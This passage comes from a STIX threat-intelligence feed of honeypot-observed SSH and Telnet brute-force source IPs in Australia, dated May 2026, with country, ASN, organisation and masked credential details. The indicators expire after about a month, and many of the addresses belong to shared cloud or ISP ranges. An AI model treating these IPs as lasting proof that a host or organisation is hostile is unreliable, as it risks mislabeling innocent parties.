      "pattern": "[ipv4-addr:value = '74.48.167.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:15:10.000Z",
      "valid_until": "2026-06-11T09:15:08.000Z"
    },
    {
      "created": "2026-05-10T09:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 25100. Organisation(s): Non state educational institution Educational Scientific and Experimental Center of Moscow I.",
      "id": "indicator--0bbf64fe-b1a5-489c-bbba-ce2517e06c71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T09:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '81.5.123.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T09:15:10.000Z",
      "valid_until": "2026-06-11T09:15:08.000Z"
    },
    {
      "created": "2026-05-10T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28210. Organisation(s): GIGA MAIS FIBRA TELECOMUNICACOES S.A..",
      "id": "indicator--a322ef30-feda-4199-8513-67a655a7d02d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.0.30.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:15:10.000Z",
      "valid_until": "2026-06-11T10:15:08.000Z"
    },
    {
      "created": "2026-05-10T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--41526b86-07b0-4349-b1ce-2aa572cdd5ec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.230.102.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:15:10.000Z",
      "valid_until": "2026-06-11T10:15:08.000Z"
    },
    {
      "created": "2026-05-10T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--b97a1c91-afb8-4af3-8c6d-d688e62fe25a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.245.56.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:15:10.000Z",
      "valid_until": "2026-06-11T10:15:08.000Z"
    },
    {
      "created": "2026-05-10T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 393. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): a***n, r**t, 3**********4, u****u, u**r. Passwords observed (masked): 3***********4, 3**********4, 1****1, 1****6, 1******8.",
      "id": "indicator--7f92b9c1-0197-4718-9b43-babb3be96845",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.172.196.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:15:10.000Z",
      "valid_until": "2026-06-11T10:15:08.000Z"
    },
    {
      "created": "2026-05-10T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 30860. Organisation(s): Virtual Systems LLC.",
      "id": "indicator--beae837f-4e26-401e-badd-e14146ba380e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.255.120.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:15:10.000Z",
      "valid_until": "2026-06-11T10:15:08.000Z"
    },
    {
      "created": "2026-05-10T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 57169. Organisation(s): EDIS GmbH.",
      "id": "indicator--f0270bf7-4c9d-4f8d-9f81-8dcbba1abf81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.121.170.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:15:10.000Z",
      "valid_until": "2026-06-11T10:15:08.000Z"
    },
    {
      "created": "2026-05-10T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--3ac75622-a5c5-40a1-a1c3-89433e2ed593",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.188.176.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:15:10.000Z",
      "valid_until": "2026-06-11T10:15:08.000Z"
    },
    {
      "created": "2026-05-10T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VG. ASN(s): 215224. Organisation(s): NovoServe B.V..",
      "id": "indicator--bf9d570a-3e9c-4f3c-b0b2-b676bdb9adef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.12.33.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:15:10.000Z",
      "valid_until": "2026-06-11T10:15:08.000Z"
    },
    {
      "created": "2026-05-10T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd..",
      "id": "indicator--283b93ae-f32b-4948-ba8a-b18ed6899696",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.105.60.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:15:10.000Z",
      "valid_until": "2026-06-11T10:15:08.000Z"
    },
    {
      "created": "2026-05-10T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--b91eaaee-003e-4246-acac-329b5ee5a676",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.192.188.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:15:10.000Z",
      "valid_until": "2026-06-11T10:15:08.000Z"
    },
    {
      "created": "2026-05-10T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 247. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 25513. Organisation(s): PJSC Moscow city telephone network. Usernames observed (masked): u****u, r**t, a***n, o****e, s*****r. Passwords observed (masked): r**t, t**t, $*******3, ***, 1******W.",
      "id": "indicator--18c73ae4-747e-497d-a13f-ef25a7239e75",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.29.124.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:15:10.000Z",
      "valid_until": "2026-06-11T10:15:08.000Z"
    },
    {
      "created": "2026-05-10T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--ecbc2243-9347-4343-a264-7753bd4c6028",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '96.127.175.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T10:15:10.000Z",
      "valid_until": "2026-06-11T10:15:08.000Z"
    },
    {
      "created": "2026-05-10T11:15:49.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--ed0d134c-efff-4884-a129-6b93088d8096",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T11:15:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.124.193.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T11:15:49.000Z",
      "valid_until": "2026-06-11T11:15:08.000Z"
    },
    {
      "created": "2026-05-10T11:15:49.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--e32eaeae-22d3-49cd-b8fc-e247f71c5183",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T11:15:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T11:15:49.000Z",
      "valid_until": "2026-06-11T11:15:08.000Z"
    },
    {
      "created": "2026-05-10T11:15:49.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 30058. Organisation(s): FDCservers.net.",
      "id": "indicator--4acb1194-c04e-4f2a-b46b-428049a3964c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T11:15:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.227.148.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T11:15:49.000Z",
      "valid_until": "2026-06-11T11:15:08.000Z"
    },
    {
      "created": "2026-05-10T11:15:49.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 268568. Organisation(s): IMPLANTAR TELECOM SOCIEDADE LIMITADA.",
      "id": "indicator--abb0fdf3-3af2-4e38-bd95-1ae69812fe0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T11:15:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.163.147.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T11:15:49.000Z",
      "valid_until": "2026-06-11T11:15:08.000Z"
    },
    {
      "created": "2026-05-10T11:15:49.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--eaa4cd3a-8546-47de-857a-7382b78cdd51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T11:15:49.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.17.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T11:15:49.000Z",
      "valid_until": "2026-06-11T11:15:08.000Z"
    },
    {
      "created": "2026-05-10T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BJ. ASN(s): 328228. Organisation(s): SBIN-AS.",
      "id": "indicator--81bc0600-0bb0-4ef3-b47b-6451f4e1a303",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '137.255.56.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:15:10.000Z",
      "valid_until": "2026-06-11T12:15:08.000Z"
    },
    {
      "created": "2026-05-10T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 137120. Organisation(s): Nas Internet Services Private Limited.",
      "id": "indicator--420af18b-a315-45e7-9249-3e0f5f0b7c46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.102.189.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:15:10.000Z",
      "valid_until": "2026-06-11T12:15:08.000Z"
    },
    {
      "created": "2026-05-10T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--30910eae-c625-403f-94d7-a40e77ee490b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.124.192.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:15:10.000Z",
      "valid_until": "2026-06-11T12:15:08.000Z"
    },
    {
      "created": "2026-05-10T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--ceaa87a1-f27c-4604-a428-aa2ab0fbbadf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.105.123.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:15:10.000Z",
      "valid_until": "2026-06-11T12:15:08.000Z"
    },
    {
      "created": "2026-05-10T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ET. ASN(s): 24757. Organisation(s): Ethiopian Telecommunication Corporation.",
      "id": "indicator--ede5ea3f-5d23-43f4-9fab-e776a6ac9c5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.188.226.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:15:10.000Z",
      "valid_until": "2026-06-11T12:15:08.000Z"
    },
    {
      "created": "2026-05-10T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37549. Organisation(s): Innovative_Networks.",
      "id": "indicator--ff010fc3-4d31-43e1-a4dc-04de3e66389b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.231.199.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:15:10.000Z",
      "valid_until": "2026-06-11T12:15:08.000Z"
    },
    {
      "created": "2026-05-10T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 39891. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--262fcb4f-95dc-459d-a26a-2be71001a19c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.90.113.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:15:10.000Z",
      "valid_until": "2026-06-11T12:15:08.000Z"
    },
    {
      "created": "2026-05-10T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 5645. Organisation(s): TekSavvy Solutions, Inc..",
      "id": "indicator--564f59a9-7c5b-4aa0-aa24-7cd8b8434563",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '216.154.136.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:15:10.000Z",
      "valid_until": "2026-06-11T12:15:08.000Z"
    },
    {
      "created": "2026-05-10T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc.",
      "id": "indicator--e243219f-15cd-4572-a020-488eab09a1de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.215.198.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:15:10.000Z",
      "valid_until": "2026-06-11T12:15:08.000Z"
    },
    {
      "created": "2026-05-10T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134762. Organisation(s): CHINANET Liaoning province Dalian MAN network.",
      "id": "indicator--01f6f2b8-9753-4ced-afc5-98bc15aaadb6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.226.44.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:15:10.000Z",
      "valid_until": "2026-06-11T12:15:08.000Z"
    },
    {
      "created": "2026-05-10T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 61046. Organisation(s): HZ Hosting Ltd.",
      "id": "indicator--a3510042-86c7-4149-b3bb-b6a5b8bad770",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.149.251.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T12:15:10.000Z",
      "valid_until": "2026-06-11T12:15:08.000Z"
    },
    {
      "created": "2026-05-10T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NG. ASN(s): 29465. Organisation(s): MTN NIGERIA Communication limited.",
      "id": "indicator--efa2ca1d-91f9-4634-b9b4-25e6d776ed6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.91.92.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T13:15:10.000Z",
      "valid_until": "2026-06-11T13:15:08.000Z"
    },
    {
      "created": "2026-05-10T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36925. Organisation(s): ASMedi.",
      "id": "indicator--811fd50c-54eb-4ce2-b051-db09f15a2a75",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.99.83.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T13:15:10.000Z",
      "valid_until": "2026-06-11T13:15:08.000Z"
    },
    {
      "created": "2026-05-10T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--905b92ea-820a-43f0-8660-4d920a7f7016",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.233.112.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T13:15:10.000Z",
      "valid_until": "2026-06-11T13:15:08.000Z"
    },
    {
      "created": "2026-05-10T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 23201. Organisation(s): Telecel S.A..",
      "id": "indicator--bf2059f9-d8cb-4128-82e4-d3d60dfd11da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.120.217.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T13:15:10.000Z",
      "valid_until": "2026-06-11T13:15:08.000Z"
    },
    {
      "created": "2026-05-10T13:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28598. Organisation(s): DB3 SERVICOS DE TELECOMUNICACOES S.A.",
      "id": "indicator--807387ef-65a1-4cc7-89b4-85913e64a501",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.110.228.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T13:15:10.000Z",
      "valid_until": "2026-06-11T13:15:08.000Z"
    },
    {
      "created": "2026-05-10T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 18206. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t, 3**********4, d*****t, d******1, d******3. Passwords observed (masked): !**************v, ***, 1*******f, 1****6, 1****9.",
      "id": "indicator--f416799a-2355-46cd-a3d3-3a1af52e882f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.165.15.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T13:15:10.000Z",
      "valid_until": "2026-06-11T13:15:08.000Z"
    },
    {
      "created": "2026-05-10T13:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t. Passwords observed (masked): d****n, u****u.",
      "id": "indicator--8efafe0e-49ca-4050-a4d8-5e46cd5a7ea3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T13:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.252.230.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
